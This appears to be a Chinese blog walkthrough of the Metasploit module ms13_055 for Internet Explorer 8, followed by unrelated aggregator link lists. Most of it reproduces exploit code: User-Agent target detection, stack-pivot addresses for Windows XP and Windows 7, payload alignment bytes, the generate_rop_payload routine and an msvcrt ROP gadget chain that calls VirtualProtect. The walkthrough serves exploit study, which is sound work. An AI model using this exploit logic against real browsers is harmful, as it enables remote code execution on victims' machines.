ms13_055 metasploit

111   def get_payload(t)

112     if t['Rop'] == :msvcrt

113       print_status("Using msvcrt ROP")

114       esp_align = "\x81\xc4\x54\xf2\xff\xff"

115       rop_dll = 'msvcrt'

116       opts    = {'target'=>'xp'}

117     else

118       print_status("Using JRE ROP")

119       esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

120       rop_dll = 'java'

121       opts    = {}

122     end

daniel@daniel-mint ~/ms13_055 $ echo "81 c4 54 f2 ff ff" | ascii2binary -b h -t uc | x86dis -e 0 -s inte
l00000000 81 C4 54 F2 FF FF            	add	esp, 0xFFFFF254

daniel@daniel-mint ~/ms13_055 $ echo "81 ec f0 d8 ff ff" | ascii2binary -b h -t uc | x86dis -e 0 -s intel

00000000 81 EC F0 D8 FF FF            	sub	esp, 0xFFFFD8F0

esp_align代表的汇编语句的作用是对齐esp，即栈指针。

 87   def get_target(agent)

 88     return target if target.name != 'Automatic'

 89

 90     nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

 91     ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

 92

 93     ie_name = "IE #{ie}"

 94

 95     case nt

 96     when '5.1'

 97       os_name = 'Windows XP SP3'

 98     when '6.1'

 99       os_name = 'Windows 7'

100     end

101

102     targets.each do |t|

103       if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

104         return t

105       end

106     end

107

108     nil

109   end

188   def on_request_uri(cli, request)

189     agent = request.headers['User-Agent']

190     t = get_target(agent)

当远程的网页客户端发出HTTP请求页面时，get_target会根据请求Header中的User-Agent信息来了解客户端操作系统以及浏览器的版本情况，然后根据预设的情况来

返回与版本相关的数据

 52       'Targets'        =>

 53         [

 54           [ 'Automatic', {} ],

 55           [

 56             'IE 8 on Windows XP SP3',

 57             {

 58               'Rop'   => :msvcrt,

 59               'Pivot' => 0x77c15ed5, # xchg eax, esp; ret

 60               'Align' => 0x77c4d801  # add esp, 0x2c; ret

 61             }

 62           ],

 63           [

 64             'IE 8 on Windows 7',

 65             {

 66               'Rop'   => :jre,

 67               'Pivot' => 0x7c348b05, # xchg eax, esp; ret

 68               'Align' => 0x7C3445F8  # add esp, 0x2c; ret

 69             }

 70           ]

 71         ],

如果当前的系统不支持，就会返回404页面。

111   def get_payload(t)

112     if t['Rop'] == :msvcrt

113       print_status("Using msvcrt ROP")

114       esp_align = "\x81\xc4\x54\xf2\xff\xff"

115       rop_dll = 'msvcrt'

116       opts    = {'target'=>'xp'}

117     else

118       print_status("Using JRE ROP")

119       esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000

120       rop_dll = 'java'

121       opts    = {}

122     end

123

124     p = esp_align + payload.encoded + rand_text_alpha(12000)

125     generate_rop_payload(rop_dll, p, opts)

126   end

generate_rop_payload

 77   def generate_rop_payload(rop, payload, opts={})

 78     nop      = opts['nop']      || nil

 79     badchars = opts['badchars'] || ''

 80     pivot    = opts['pivot']    || ''

 81     target   = opts['target']   || ''

 82     base     = opts['base']     || nil

 83

 84     rop = select_rop(rop, {'target'=>target, 'base'=>base})

 85     # Replace the reserved words with actual gadgets

 86     rop = rop.map {|e|

 87       if e == :nop

 88         sled = (nop) ? nop.generate_sled(4, badchars).unpack("V*")[0] : 0x90909090

 89       elsif e == :junk

 90         Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i

 91       elsif e == :size

 92         payload.length

 93       elsif e == :unsafe_negate_size

 94         get_unsafe_size(payload.length)

 95       elsif e == :safe_negate_size

 96         get_safe_size(payload.length)

 97       else

 98         e

 99       end

100     }.pack("V*")

101

102     raise RuntimeError, "No ROP chain generated successfully" if rop.empty?

103

104     return pivot + rop + payload

105   end

会从data目录下查找定义好的[module].xml的文件，然后将gadgets中的宏定义展开，然后与pivot + gadgets + payload返回。

  3 <rop>

  4         <compatibility>

  5                 <target>WINDOWS XP SP2</target>

  6                 <target>WINDOWS XP SP3</target>

  7         </compatibility>

  8

  9         <gadgets base="0x77c10000">

 10                 <gadget offset="0x0002b860">POP EAX # RETN</gadget>

 11                 <gadget value="safe_negate_size">0xFFFFFBFF -> ebx</gadget>

 12                 <gadget offset="0x0000be18">NEG EAX # POP EBP # RETN</gadget>

 13                 <gadget value="junk">JUNK</gadget>

 14                 <gadget offset="0x0001362c">POP EBX # RETN</gadget>

 15                 <gadget offset="0x0004d9bb">Writable location</gadget>

 16                 <gadget offset="0x0001e071">XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN</gadget>

 17                 <gadget offset="0x00040d13">POP EDX # RETN</gadget>

 18                 <gadget value="0xFFFFFFC0">0xFFFFFFC0-> edx</gadget>

 19                 <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>

 20                 <gadget offset="0x0000be18">NEG EAX # POP EBX # RETN</gadget>

 21                 <gadget value="junk">JUNK</gadget>

 22                 <gadget offset="0x00048fbc">XCHG EAX, EDX # RETN</gadget>

 23                 <gadget offset="0x0002ee15">POP EBP # RETN</gadget>

 24                 <gadget offset="0x0002ee15">skip 4 bytes</gadget>

 25                 <gadget offset="0x0002eeef">POP ECX # RETN</gadget>

 26                 <gadget offset="0x0004d9bb">Writable location</gadget>

 27                 <gadget offset="0x0001a88c">POP EDI # RETN</gadget>

 28                 <gadget offset="0x00029f92">RETN (ROP NOP)</gadget>

 29                 <gadget offset="0x0002a184">POP ESI # RETN</gadget>

 30                 <gadget offset="0x0001aacc">JMP [EAX]</gadget>

 31                 <gadget offset="0x0002b860">POP EAX # RETN</gadget>

 32                 <gadget offset="0x00001120">ptr to VirtualProtect()</gadget>

 33                 <gadget offset="0x00002df9">PUSHAD # RETN</gadget>

 34                 <gadget offset="0x00025459">ptr to 'push esp #  ret</gadget>

 35         </gadgets>

 36 </rop>

在查找Windows下Browser相关的ROP漏洞

daniel@daniel-mint ~/msf/metasploit-framework/modules/exploits/windows/browser $ grep generate_rop_payload *.rb -n

adobe_flash_mp4_cprt.rb:148:    code = generate_rop_payload(rop_name, code, {'target'=>rop_target})

adobe_flash_otf_font.rb:100:      p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})

adobe_flash_otf_font.rb:110:      p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})

adobe_flash_otf_font.rb:120:      p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})

adobe_flash_otf_font.rb:130:      p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})

adobe_flashplayer_flash10o.rb:194:      p = generate_rop_payload('java', payload.encoded)

adobe_flash_rtmp.rb:135:    code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})

adobe_toolbutton.rb:77:    rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))

adobe_toolbutton.rb:78:    rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))

aladdin_choosefilepath_bof.rb:147:      p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})

apple_quicktime_mime_type.rb:153:      code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})

apple_quicktime_rdrf.rb:65:    p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'})

crystal_reports_printcontrol.rb:178:    rop_payload = generate_rop_payload('java', code, {'pivot' => [t['Pivot']].pack("V")})

hp_loadrunner_writefilebinary.rb:207:      rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})

ie_cbutton_uaf.rb:148:        rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'})

ie_cbutton_uaf.rb:150:        rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'})

ie_cbutton_uaf.rb:153:      rop_payload = generate_rop_payload('java', java_align + code)

ie_cgenericelement_uaf.rb:126:        rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'xp'})

ie_cgenericelement_uaf.rb:128:        rop_payload = generate_rop_payload('msvcrt', align+p, {'target'=>'2003'})

ie_cgenericelement_uaf.rb:136:      rop_payload = generate_rop_payload('java', code)

ie_execcommand_uaf.rb:139:      rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})

ie_execcommand_uaf.rb:158:      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

ie_setmousecapture_uaf.rb:98:      rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })

ie_setmousecapture_uaf.rb:112:      rop = generate_rop_payload('hxds', code, { 'target'=>'2010' })

indusoft_issymbol_internationalseparator.rb:219:      rop_payload = generate_rop_payload('msvcrt', code,  {'pivot'=>stack_pivot, 'target'=>'xp'})

indusoft_issymbol_internationalseparator.rb:231:      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

inotes_dwa85w_bof.rb:204:      rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})#{'pivot'=>stack_pivot, 'target'=>'xp'})

mozilla_firefox_onreadystatechange.rb:108:    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})

mozilla_firefox_xmlserializer.rb:110:    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})

ms10_002_ie_object.rb:248:      rop_payload = generate_rop_payload('msvcrt', p, {'target'=>'xp'})

ms10_002_ie_object.rb:250:      rop_payload = generate_rop_payload('java', p)

ms11_050_mshtml_cobjectelement.rb:182:      rop_payload = generate_rop_payload('java', p)

ms11_081_option.rb:137:      rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})

ms11_081_option.rb:144:      rop_payload = generate_rop_payload('java', '')

ms12_004_midi.rb:519:    generate_rop_payload('msvcrt', p, {'pivot'=>padding, 'target'=>'xp'})

ms12_037_same_id.rb:133:      rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})

ms12_037_same_id.rb:137:      rop = generate_rop_payload('java', '', {'pivot'=>pivot})

ms13_009_ie_slayoutrun_uaf.rb:128:      rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})

ms13_037_svg_dashstyle.rb:218:      rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})

ms13_055_canchor.rb:125:    generate_rop_payload(rop_dll, p, opts)

ms13_059_cflatmarkuppointer.rb:120:    generate_rop_payload('java', code, {'pivot'=>stack_pivot})

ms13_069_caret.rb:97:    p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})

ms13_080_cdisplaypointer.rb:157:      rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})

ms13_080_cdisplaypointer.rb:174:      rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})

ms13_080_cdisplaypointer.rb:186:        rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})

ms13_080_cdisplaypointer.rb:197:        rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})

ms13_090_cardspacesigninhelper.rb:108:    rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot})

ms14_012_textrange.rb:85:    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

msxml_get_definition_code_exec.rb:189:        rop = generate_rop_payload('msvcrt','',{'target'=>'xp', 'pivot'=>adjust})

msxml_get_definition_code_exec.rb:193:        rop = generate_rop_payload('java','',{'pivot'=>adjust})

novell_groupwise_gwcls1_actvx.rb:207:        rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea

novell_groupwise_gwcls1_actvx.rb:217:        rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea

ntr_activex_check_bof.rb:270:        rop_payload = generate_rop_payload('msvcrt', code, {'target'=>'xp'})

ntr_activex_check_bof.rb:274:        rop_payload = generate_rop_payload('java', code)

quickr_qp2_bof.rb:202:      rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})

siemens_solid_edge_selistctrlx.rb:398:    return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'})

vlc_amv.rb:143:      code = generate_rop_payload('java', payload.encoded)

ms13_055 metasploit的更多相关文章

Metasploit各版本对比
功能特性描述 Metasploit Framework Metasploit Community Metasploit Express Metasploit Pro Pricing ...
关于kali2.0rolling中metasploit升级后无法启动问题的解决总结
最近在学习metasploit的使用,文中提到可以使用msfupdate命令来对metasploit的payload.exploit等进行升级,我就试了一下,没想到升级过程并不麻烦,但升级后却出现了无 ...
[转]初探Metasploit的自动攻击
1. 科普Metasploit 以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势. 我们都戏称它为美少妇,很简单,msf. 它 ...
移动安全初探：窃取微信聊天记录、Hacking Android with Metasploit
在这篇文章中我们将讨论如何获取安卓.苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制.文章比较基础.可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对 ...
metasploit渗透初探MR.robot（一）
看了MR.robot,有一种研究渗透技术的冲动, 网上也看了些教程,要从kali linux说起, 下载vmware 12,http://www.vmware.com/go/tryworkstatio ...
metasploit用法
1.msfconsole 进入metasploit 2.help connect 查看帮助 3.msfcli -h 查看帮助 4.ms08_067_netapi O 字符命令后加“O”,查看配置 5. ...
chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记二.渗透测试通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
原创教程：《metasploit新手指南》介绍及下载
原创教程:<metasploit新手指南>介绍及下载 1.1 作者简介这份教程并不是“玄魂工作室”原创,但是我还是要力推给大家.相比那些一连几年都在问“我怎么才能入门”的人而言,我们更欣 ...
kali 2.0 启动metasploit服务
kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用. 在kali 2.0中启动带数据库支持的MSF方式如下: 首先启动po ...

随机推荐

《图解设计模式》读书笔记6-2 Chain of Responsibility模式
目录 1. 简介 2. 示例程序类图代码 3. 模式的角色和类图角色类图 4. 思路拓展 1. 简介 Chain of Responsibility模式是责任链模式,模式的核心就是转移责任.就 ...
Javascript在ajax提交过程中页面显示加载中，请等待效果，并在提交过程中限制确定按钮防止多次提交，提交完成后，解除提交限制
加载中,请等待div: <div id="load" class="center-in-center" style="display:none; ...
latex的资料ftp
ftp://ftp.tex.ac.uk/ctan/tex-archive/ ftp ftp.tex.ac.uk anonymous ls
HTML段落,换行,字符实体
HTML段落,换行,字符实体 html段落 <p>标签定义一个文本段落,一个段落含有默认的上下间距,段落之间会用这种默认间距隔开,代码如下: <!DOCTYPE html> & ...
centos 7 设置开机启动脚本
vi /etc/rc.d/rc.local 在末尾追加 sh脚本 sh脚本要提前赋予执行权限下面是测试,开机同步北京时间 [root@commonTest bin]# vi /usr/local/b ...
【题解】Antisymmetry
题目大意对于一个01字符串,如果将这个字符串0和1取反后,再将整个串反过来和原串一样,就称作“反对称”字符串.比如00001111和010101就是反对称的,1001就不是. 现在给出一个长度为N的 ...
JAVA 实现Jacob语音播报
准备工作:下载Jar 链接:https://pan.baidu.com/s/1edskJjYrCiefVJ7l3Ul9kQ 提取码:6dg9 ---导入jar 解压jar包,将jacob.ja ...
2019-8-31-Latex-公式速查
title author date CreateTime categories Latex 公式速查 lindexi 2019-08-31 16:55:58 +0800 2018-05-25 16:5 ...
2018-11-3-如何使用-Telegram
title author date CreateTime categories 如何使用 Telegram lindexi 2018-11-03 10:12:12 +0800 2018-02-21 1 ...
dictionary小项目代码管理
软件项目开发流程需求分析 ----> 概要设计 ---> 项目计划 ---->详细设计--->编码测试 -----> 项目测试 ---->调试修改 ---> ...

ms13_055 metasploit

ms13_055 metasploit的更多相关文章

随机推荐

热门专题